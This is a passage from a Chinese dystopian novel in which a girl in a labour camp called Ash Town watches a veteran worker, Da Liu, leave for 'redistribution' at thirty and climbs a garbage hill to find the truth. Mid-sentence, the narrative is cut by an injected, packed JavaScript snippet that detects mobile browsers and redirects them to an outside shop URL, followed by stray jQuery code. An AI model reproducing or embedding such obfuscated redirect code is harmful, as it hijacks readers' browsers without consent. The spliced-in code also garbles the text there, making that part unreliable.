宣讲日之后，灰烬镇的生活并没有什么不同。
哨声还是五点响，上工还是十四小时，口粮还是那管灰色的代餐剂。唯一的变化是，人群中多了一种东西——期待。
有人在数自己还差多少天到三十岁。
有人在算积分，虽然没人知道积分怎么算、存在哪里、有没有用。
有人在低声讨论“再分配中心”的生活——大房间、真正的食物、干净的衣服，那些视频里的画面像种子一样种进了他们的脑子里，开始生根发芽。
我来灰烬镇快一个月了。
我学会了很多的技能，怎么在垃圾山里活下来，怎么用最少力气推那辆歪轮子的分拣车，怎么在扫码仪屏幕裂开的情况下判断金属等级，怎么憋尿憋一整天，怎么在十五分钟内抢到厕所坑位。
我开始不在意自己身上的味道。
那是一种很难形容的气味。铁锈、汗臭、垃圾的腐臭、代餐剂化学余味，它们混合在一起，发酵了一个月，成了一层厚厚的、黏在皮肤上的东西。
我身上的工装已经看不出原来的颜色，灰扑扑的，领口和袖口磨出了毛边，后颈那块为了烙纹预留的补丁早就掉了，露出一个方形的洞。
这里的人不会分配衣服，除非你的亲人没有抛弃你，定期给你送食物和换洗衣物。
洗澡？别想了。所有人挤在水笼头那里，用手接水往脸上泼，往身上浇。三十秒，最多一分钟，后面的人会推你。
我身上没有一块好皮了。
手套早就扔了，十根手指全裹着破布条，布条下面是永远愈合不了的伤口。掌心的水泡磨破了又长、长了又磨破，最后变成一层厚厚的死皮。死皮下面是嫩肉，嫩肉上面又磨出了新的水泡。我的指甲断了三块，剩下的全都裂开了，用布条缠着才不会刮到东西。
开始烂脚。因为鞋子在第二周就彻底报废了，我在垃圾堆里找了一双扔掉的，大了两码，走路啪嗒啪嗒响，脚后跟磨出了血泡。后来我用废铁皮和布条给自己做了双“鞋”，走起路来像拖着两块铁板。啪嗒啪嗒的。
吃代餐剂，让我的身体变得瘦弱，眼球深陷，体重也掉了很多。工装挂在身上像麻袋。肋骨也一根根凸出来，才16岁的我，竟然开始大把大把地掉头发。
但我不再是那个站在灰色线后面发抖的女孩了。现在我知道如何在这里苟活到三十岁。也知道，活到三十岁，然后被“再分配”。
关于“再分配”，我对这两种说法都抱有怀疑态度。
先是卫青和老陈的不信。尤其卫青说起他哥哥说的话时，她的痛苦的神情不是假的。可我总归是在日复一日的苟活着的，没有希望的。
老陈说的更少。他只说了一句：“那不是再分配，是收割。”我问为什么，他就不说话了。最后只说：“等你真的想知道答案的时候，再来问我。”
我没亲眼见过那道门后面的东西。我只有卫青的恨意和老陈的沉默。
还有整个灰烬镇的人都信再分配，都在等再分配。他们必须信。因为不信的话，活着就太苦了。
今天是宣讲日之后的第二十八天。
早上哨声响的时候，我就觉得气氛不对。走廊里的人比平时多了一种躁动。
“听说了吗？今天有人满三十岁。”身后有人压低声音说。
“谁？”
“大刘。东区的。来了十四年了，三十了。”
“十四年？那他可熬出头了。”
熬出头了。
这三个字在我脑子里转了一圈。
我拿着代餐剂蹲在住宿区门口的台阶上，一边把灰色的糊状物往嘴里挤，一边观察周围的人。他们的脸上有一种光——不是宣讲日那种被煽动起来的狂热，是一种更安静的、更深的、像暗火一样的光。
那是羡慕。他们在羡慕一个即将满三十岁的人。我嘴里的代餐剂突然变得很难咽。
大刘我见过。
废铁海东区最能干的人之一，每天能分拣六十多公斤，从不迟到，从不顶嘴。他的身体在灰纹者里算好的，虽然瘦，但还有力气，上个月还帮一个新来的女孩抬了一根重得要死的能量导管。
他的工装比我们的都干净——不是洗得干净，是穿得仔细，不让脏东西沾上。他走路的时候腰板是直的，眼睛是看前面的，不像大多数人那样低着头、佝着背、像一群被风吹弯的草。
我记得有一次在东区倒垃圾，听见他和旁边的人说话。
“我还有十天。”他说这话的时候，嘴角是往上翘的。
旁边的人拍了拍他的肩膀，像在恭喜他。
在灰烬镇，距离三十岁越近，地位越高。因为这意味着你快要“毕业”了，快要离开这个鬼地方，去宣讲视频里那个明亮的、有真正食物的世界。
大刘是东区的明星。
今天，他要再分配了。
我没有跟着人群往废铁海走。一路上，所有人都在说大刘。
“听说他今天下午三点满三十岁，整点。”
“纹殿的人会来接他吧？”
“肯定啊，上次老周走的时候也是整点。”
“老周走的时候是什么样？”
“笑着走的。他走之前还说，终于可以吃上真正的饭了。”
我听着这些话，脚下没停。
有人从后面追上来，拍了拍我的肩膀。
是卫青。
她的短发更短了，下巴上的伤疤在灰黄色的光线下像一道黑色的裂缝。她的嘴唇干裂，起了白色的皮。她凑过来，声音压得很低：“今天有人走？”
“嗯。东区的大刘。”
卫青沉默了一会儿。她的眼睛暗了一下，像两块被灰盖住的炭。
“我哥走的那天，也是这样的。”她说，声音很平，“所有人都羡慕他。我哥没办法，还是被带走了，他被带走的时候，反抗的厉害，但是依然被拖进去了。”
“你见过门后面到底是什么吗？”我问。
卫青摇了摇头，表示没有。
“西区离回收站最近，有个特别高的垃圾山。”我说。“下午三点，山顶见。”
她看着我，眼神里多了一丝坚定。
然后她就快步走了，快速的推着分拣车往西区去。
我往东区走，今天得赶紧做工，我要在三点前凑够50公斤，然后还要跑爬上西区最高的山，我不能在西区捡垃圾。
到了东区，我一眼就看见了大刘。
他站在料斗旁边，正在往里面扔一块B级瑟银。他的动作很轻快，比平时快，像浑身有使不完的劲。他的脸上带着笑——是真正的、从心底里涌上来的笑。
旁边有人在和他说话。
“大刘，下午就走了，还干这么卖力？”
大刘擦了把汗，笑着说：“多干点多攒点积分，到了那边待遇好。”
“你积分多少了？”
“不知道，但应该不低，我从来没被扣过口粮。”
旁边几个人交换了一个眼神，那种眼神里全是羡慕。
“你可真行。”
“熬出头了。”
大刘笑了笑，继续干活。大刘看起来很开心。
那种开心是发自真心的。这是一个优秀的老实人，他在灰烬镇待了十四年，从来没有被惩罚过，每天超额完成任务，他的身体在灰纹者里算好的，他的工装永远比别人的干净。
他一直相信宣讲视频里的一切。他相信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648567|206835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三十岁不是终点，是新生活的起点。
我看着他，突然觉得自己眼睛灼热，说不上来的恶心感，是因为我知道，不，我不确定我知道——但我怀疑，门后面不是他想象的那样。
今天大家干活的积极性都特别高，一刻不停，到快三点的时候，东区的很多人，他们慢慢聚拢在大刘周围，有人过去拍他的肩膀，有人过去握他的手，有人把自己省下来的半块黑面瞧瞧塞给他——“带着路上吃”。
大刘接过那些东西，眼眶红了。
“谢谢大家。”他的声音有点抖，“我会想你们的。”
“到了那边给我们捎个信！”
“怎么捎？”
“总有办法的吧？”
大刘把黑面包塞进工装口袋里，抬起头，眼睛亮亮的。
人群在窃窃私语。
“大刘这回去了好地方。”
“我要是能像大刘这样就好了，干干净净地走。”
我在人群边缘，看着大刘。他的工装整整齐齐，脸洗过了，露出干净的后颈。
那块灰纹在灰黄色的光线下依然明显清晰。
赵厉站在人群外围，机械义肢上的电击棒关着，面无表情地看着这一切。
三点整。
听到铁门开了声音，是废铁海深处那道灰色集装箱的门，是再分配处。再分配开门的时候，会带着特别的播报：
“再分配处门已经开启，期待你的新生活！”
“再分配处门已经开启，期待你的新生活！”
“再分配处门已经开启，期待你的新生活！”
……
所有人的目光都期待着看向远处的那道门，很快，一个穿绿纹制服的监工，走了过来，他走到大刘旁边，他看了大刘一眼，声音像在念一份清单：
“刘广元，根据纹界法典第47条，时间到了，跟我走。”
大刘迈开步子，朝再分配处走去。他走之前停下来，回头看了一眼，面带着微笑。然后快步跟着绿纹监工离开，他的脚步很轻快，腰板挺得更加笔直。
人群爆发出一阵低低的欢呼声。
有人鼓掌。有人喊：“大刘，好样的！”
有人擦眼泪。有人在计算自己还剩多少天。
我趁着人群混乱，迅速把分拣车推到一个隐蔽的角落，靠在废铁堆后面，然后抬起头，看向灰烬镇最高的地方。
废铁海的西区的垃圾山，比别的都高。那座山的顶端几乎够到围墙上的巡逻无人机。因为高，监工也不去那里。
但我现在要去，必须去，我扔掉分拣车，开始往西区跑。
我的腿在发抖，是累。为了此刻，我今天已经持续干了10个小时的活，我的身体早就超出极限了。但我咬着牙，只想求一个真相。
到了西区的边缘，我找到了那座山。
卫青已经在那里了，爬到山的一半了。
这山比我想象的还要高。垃圾堆积成的斜坡，角度超过四十度。表面是松散的废料——碎裂的电路板、锈蚀的铁皮、腐烂的织物、滑溜溜的塑料碎片。
每踩一步，脚下的东西就会往下滑，我爬两步，滑回去一步。
我用手指插进垃圾堆里，指甲抠住能抠住的东西。断掉的指甲根传来一阵钻心的疼，但我没有松手。
铁皮底的鞋踩在湿滑的腐烂物上，发出噗滋噗滋的声音。
恶臭从被我搅动的垃圾深处翻涌上来，冲得我眼睛发酸，干呕了好几次。
我脑袋里就一个念头，往上爬。
我终于爬到了顶端。山顶是一小块相对平坦的地方，堆着几块巨大的废弃机甲残骸。
卫青躲在在一块残骸后面，招呼我过去。